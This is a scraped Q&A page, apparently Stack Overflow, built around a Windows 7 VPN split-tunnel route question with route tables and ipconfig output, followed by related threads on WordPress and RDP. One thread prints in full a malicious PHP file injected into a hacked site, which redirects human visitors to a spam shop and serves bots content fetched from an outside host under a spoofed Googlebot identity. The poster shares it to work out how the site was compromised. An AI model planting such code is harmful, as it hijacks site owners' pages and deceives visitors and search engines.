Need to fix route table to allow local connections - vpn

I'm using a couple of different VPN products on Windows 7 which DO NOT allow for configuring of the split tunnel. I know it's possible to modify the route table after the vpn is connected, but i haven't some trouble getting it to work given other examples on SO. I would greatly appreciate any help.
I have done some obfuscation of the ips and domain-names, but otherwise it's exactly how i see it before i connect with the vpn.
>route print -4
===========================================================================
Interface List
15...24 77 03 df b2 05 ......Microsoft Virtual WiFi Miniport Adapter
14...24 77 03 df b2 04 ......Intel(R) Centrino(R) Ultimate-N 6300 AGN
11...d4 be d9 84 6a 63 ......Intel(R) 82579LM Gigabit Network Connection
1...........................Software Loopback Interface 1
36...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
37...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
35...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter #3
52...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
34...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
39...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #8
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.5 2
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.5 257
192.168.0.5 255.255.255.255 On-link 192.168.0.5 257
192.168.0.255 255.255.255.255 On-link 192.168.0.5 257
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.5 257
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.5 257
===========================================================================
Persistent Routes:
None
>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : MYHOST
Primary Dns Suffix . . . . . . . : some-domain.net
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : some-domain.net
Wireless LAN adapter Wireless Network Connection 2:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Virtual WiFi Miniport Adapter
Physical Address. . . . . . . . . : 24-77-03-DF-B2-05
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Intel(R) Centrino(R) Ultimate-N 6300 AGN
Physical Address. . . . . . . . . : 24-77-03-DF-B2-04
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.0.5(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Tuesday, September 17, 2013 9:30:25 AM
Lease Expires . . . . . . . . . . : Wednesday, September 18, 2013 9:30:29 AM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.1
205.112.132.23
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Local Area Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82579LM Gigabit Network Connection
Physical Address. . . . . . . . . : D4-BE-D9-84-6A-63
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{B56AB647-7178-40B4-ABA4-C6DCF51D1134}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{95E3911B-4B84-4447-9784-604AFA3ECF60}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Local Area Connection* 23:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Default Gateway . . . . . . . . . : ::
NetBIOS over Tcpip. . . . . . . . : Disabled
Tunnel adapter isatap.domain.actdsltmp:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #8
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
And this is what it looks like post-connection
>route print -4
===========================================================================
Interface List
57...02 05 85 7f eb 80 ......Juniper Networks Virtual Adapter
15...24 77 03 df b2 05 ......Microsoft Virtual WiFi Miniport Adapter
14...24 77 03 df b2 04 ......Intel(R) Centrino(R) Ultimate-N 6300 AGN
11...d4 be d9 84 6a 63 ......Intel(R) 82579LM Gigabit Network Connection
1...........................Software Loopback Interface 1
36...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
37...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
35...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter #3
52...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
34...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
39...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #8
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 On-link 62.120.66.47 11
62.120.66.47 255.255.255.255 On-link 62.120.66.47 266
62.129.16.182 255.255.255.255 192.168.0.1 192.168.0.5 2
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 62.120.66.47 11
192.168.0.5 255.255.255.255 On-link 192.168.0.5 257
192.168.0.255 255.255.255.255 On-link 62.120.66.47 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.5 257
224.0.0.0 240.0.0.0 On-link 62.120.66.47 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.5 257
255.255.255.255 255.255.255.255 On-link 62.120.66.47 266
===========================================================================
Persistent Routes:
None
>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : MYHOST
Primary Dns Suffix . . . . . . . : SOMEDOMAIN.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : some.domain.names.com
Ethernet adapter Local Area Connection* 31:
Connection-specific DNS Suffix . : some-domain.names.com
Description . . . . . . . . . . . : Virtual Adapter
Physical Address. . . . . . . . . : 02-05-85-7F-EB-80
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 62.120.66.47(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 0.0.0.0
DNS Servers . . . . . . . . . . . : 62.127.2.2
62.100.146.1
Primary WINS Server . . . . . . . : 62.100.145.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Wireless LAN adapter Wireless Network Connection 2:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Virtual WiFi Miniport Adapter
Physical Address. . . . . . . . . : 24-77-03-DF-B2-05
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Intel(R) Centrino(R) Ultimate-N 6300 AGN
Physical Address. . . . . . . . . : 24-77-03-DF-B2-04
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.0.5(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Tuesday, September 17, 2013 9:30:25 AM
Lease Expires . . . . . . . . . . : Wednesday, September 18, 2013 9:30:29 AM
Default Gateway . . . . . . . . . :
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.1
225.112.132.23
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Local Area Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82579LM Gigabit Network Connection
Physical Address. . . . . . . . . : D4-BE-D9-84-6A-63
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.hyperras-ash-jpt.dupontnet.net:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : some-domain.net
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{B56AB647-7178-40B4-ABA4-C6DCF51D1134}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter 6TO4 Adapter:
Connection-specific DNS Suffix . : some domain name
Description . . . . . . . . . . . : Microsoft 6to4 Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Default Gateway . . . . . . . . . :
DNS Servers . . . . . . . . . . . : 62.127.2.2
62.100.146.1
NetBIOS over Tcpip. . . . . . . . : Disabled
Tunnel adapter isatap.{95E3911B-4B84-4447-9784-604AFA3ECF60}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Local Area Connection* 23:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.domain.actdsltmp:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #8
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes

Related

Spam URL does not appear in External Links

I found some spam url using the site domain name... check here :
URL Site Search
I was thinking about url injection, but I was not able to see them in my external links !
I suppose it comes from a wordpress plugin ? How to be sure ?
Is this another spam technic I am not aware about ?
Thanks for advice
Alright, I found part of the answer... A new file was injected into the root domain containing this type of file :
<?php
$tmp = "?" . strtolower($_SERVER['HTTP_USER_AGENT']);
if((strpos($tmp, 'bot') != true)){
echo '<script language="javascript" type="text/javascript"> window.location.href="http://www.max270shoes.com/#0425"; </script>
' . "\n";
}
function gethttpcnt($url,$username = '',$password = '',$timeout = 10){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
curl_setopt($ch,CURLOPT_REFERER,"http://www.google.com");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$cnt = curl_exec($ch);
curl_close($ch);
return $cnt;
}
$fromsite="http://moresneakers.com/project/nike-wmns-air-max-97-ultra-wold-greymarina-blue-917704-001/";
$website="http://moresneakers.com/";
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on")
{
$pageURL .= "s";
}
$pageURL .= "://";
$sss= $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$sss=$pageURL . str_replace("index.php","",$sss);
$ss=$_SERVER['PHP_SELF'];
$ss=str_replace("index.php","",$ss);
$otherstring=$fromsite;
$content=gethttpcnt($otherstring);
$content=str_replace("\"images/","\"" . $website . "/images/",$content);
$content=str_replace("\"/images/","\"" . $website . "/images/",$content);
$content=str_replace("\"../images/","\"" . $website . "/images/",$content);
$content=str_replace("\"Images/","\"" . $website . "/images/",$content);
$content=str_replace("\"/Images/","\"" . $website . "/images/",$content);
$content=str_replace("\"../Images/","\"" . $website . "/images/",$content);
$content=str_replace("\"includes/templates/","\"" . $website . "/includes/templates/",$content);
$content=str_replace("\"/includes/templates/","\"" . $website . "/includes/templates/",$content);
$content=str_replace("\"../includes/templates/","\"" . $website . "/includes/templates/",$content);
$content=str_replace("\"min/","\"" . $website . "min/",$content);
$content=str_replace("\"media/","\"" . $website . "/images/",$content);
$content=str_replace("\"/media/","\"" . $website . "/images/",$content);
$content=str_replace("\"../media/","\"" . $website . "/images/",$content);
$content=str_replace("\"css/","\"" . $website . "/css/",$content);
$content=str_replace("\"/css/","\"" . $website . "/css/",$content);
$content=str_replace("\"../css/","\"" . $website . "/css/",$content);
$content=str_replace("\"skin/","\"" . $website . "/images/",$content);
$content=str_replace("\"/skin/","\"" . $website . "/images/",$content);
$content=str_replace("\"../skin/","\"" . $website . "/images/",$content);
$content=str_replace("\"js/","\"" . $website . "/images/",$content);
$content=str_replace("\"/js/","\"" . $website . "/images/",$content);
$content=str_replace("\"../js/","\"" . $website . "/images/",$content);
$content=str_replace("'images/","'" . $website . "/images/",$content);
$content=str_replace("'/images/","'" . $website . "/images/",$content);
$content=str_replace("'../images/","'" . $website . "/images/",$content);
$content=str_replace("'Images/","'" . $website . "/images/",$content);
$content=str_replace("'/Images/","'" . $website . "/images/",$content);
$content=str_replace("'../Images/","'" . $website . "/images/",$content);
$content=str_replace("'includes/templates/","'" . $website . "/includes/templates/",$content);
$content=str_replace("'/includes/templates/","'" . $website . "/includes/templates/",$content);
$content=str_replace("'../includes/templates/","'" . $website . "/includes/templates/",$content);
$content=str_replace("'min/","'" . $website . "min/",$content);
$content=str_replace("'media/","'" . $website . "/images/",$content);
$content=str_replace("'/media/","'" . $website . "/images/",$content);
$content=str_replace("'../media/","'" . $website . "/images/",$content);
$content=str_replace("'skin/","'" . $website . "/images/",$content);
$content=str_replace("'/skin/","'" . $website . "/images/",$content);
$content=str_replace("'../skin/","'" . $website . "/images/",$content);
$content=str_replace("'js/","'" . $website . "/images/",$content);
$content=str_replace("'/js/","'" . $website . "/images/",$content);
$content=str_replace("'../js/","'" . $website . "/images/",$content);
$content=str_replace('href="/','href="' . $website,$content);
$content=str_replace('"' . $fromsite . '"','"' . $sss . '"',$content);
$content=str_replace("'" . $fromsite . "'","'" . $sss . "'",$content);
echo $content;
?>
i still wonder how they added these files... admin hacked ?

Configure RDP on Windows 2008R2 with Static IP from ISP [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 8 years ago.
Improve this question
I have static IP given by my ISP for my Windows Server 2008 R2 and now in this. I wan to configure RDP to connect to the server from remote location with Internet connectivity.
I have two NIC available on server and on NIC ISP has assign the IPs.
PLease find IP addresses on the server.
Windows IP Configuration
Host Name . . . . . . . . . . . . : XXXServer
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : Yes
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Local Area Connection 2:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
Physical Address. . . . . . . . . : 40-F2-E9-34-72-C7
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
Physical Address. . . . . . . . . : 40-F2-E9-34-72-C8
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::fd7e:fb78:1032:1af9%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.2(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 238305461
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1A-8D-20-39-40-F2-E9-34-72-C8
DNS Servers . . . . . . . . . . . : 202.83.21.12
202.83.20.101
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter isatap.{BA207A81-9D81-4043-8AC2-2797054D28B5}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{7A11F7EA-BD3C-4B0B-9685-6EFEE0D34F8F}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . . . . . . . : 2001:0:9d38:90d7:2083:3049:3f57:fffd(Preferred)
Link-local IPv6 Address . . . . . : fe80::2083:3049:3f57:fffd%16(Preferred)
Default Gateway . . . . . . . . . : ::
NetBIOS over Tcpip. . . . . . . . : Disabled
Now i want to configure RDP I tried every other way it is not going through.
Static doesn't mean public. 192.168.0.2 is private IP address although it can be static. So from outside world, your computer will be unavailable. Btw, i think that this question should go to https://serverfault.com/ or some other stack exchange site.

I need to make the links open in a new window php

Working with a Wordpress theme and currently the icons in the header open in the current window which will take traffic away from the site. I would like them to open in a new window/tab. I know target="_blank" will get the result I need, just not sure of the syntax.
foreach( $gdl_social_icon as $social_name => $social_icon ) {
$social_link = get_option($social_icon['name']);
if( !empty($social_link) ) {
echo '<div class="social-icon"><a href="' . $social_link . ' ">' ;
echo '<img src="' . $social_icon['url'] . '" alt="' . $social_name . '"/>';
echo '</a></div>';
}
}
If I understand correctly what you're after, all you need is
echo '...<a href="' . $social_link . ' " target="_blank">';
Replace 4 line:
echo '<div class="social-icon"><a target="_blank" href="' . $social_link . ' ">' ;

Get correct link to category - Wordpress - Genesis - News theme

if ( $cat ) echo '<a class="custom-cat-btn" href="#cat-' . $cat . '">More ' . get_cat_name($cat) . ' Posts</a>';
This gives me:
http://mydomain.com/#cat-127
But I get a 404 when I click on the link
Can anyone help me get the actual link please
Thanks
You can retrieve the category link with get_category_link
So,
if ( $cat ) echo '<a class="custom-cat-btn" href="' . esc_url( get_category_link( $cat ) ) . '">More ' . get_cat_name($cat) . ' Posts</a>';

How do I upload a file to wordpress using a custom upload form?

I don't want to use Wordpress' built in media uploader.
I have a form (on the frontend) of my site, and I need to allow anyone to upload an image to my uploads folder in wp-content. I've found many tutorials, but they all tell me how to do it with the wordpress uploader. I need to be able to validate what users are uploading.
Any help is greatly appreciated!!!
Thanks.
Does this help?
WPTuts: Allow users to submit images to your site
PHP:
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
require_once(ABSPATH . "wp-admin" . '/includes/media.php');
$attachment_id = media_handle_upload('file-upload', $post->ID);
HTML:
<input type="file" name="file-upload" id="file-upload" />
Solved. This is the code I used to do it:
In my code:
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
require_once(ABSPATH . "wp-admin" . '/includes/media.php');
$attachment_id = media_handle_upload('file-upload', $post->ID);
In my form:
<input type="file" name="file-upload" id="file-upload" />

Resources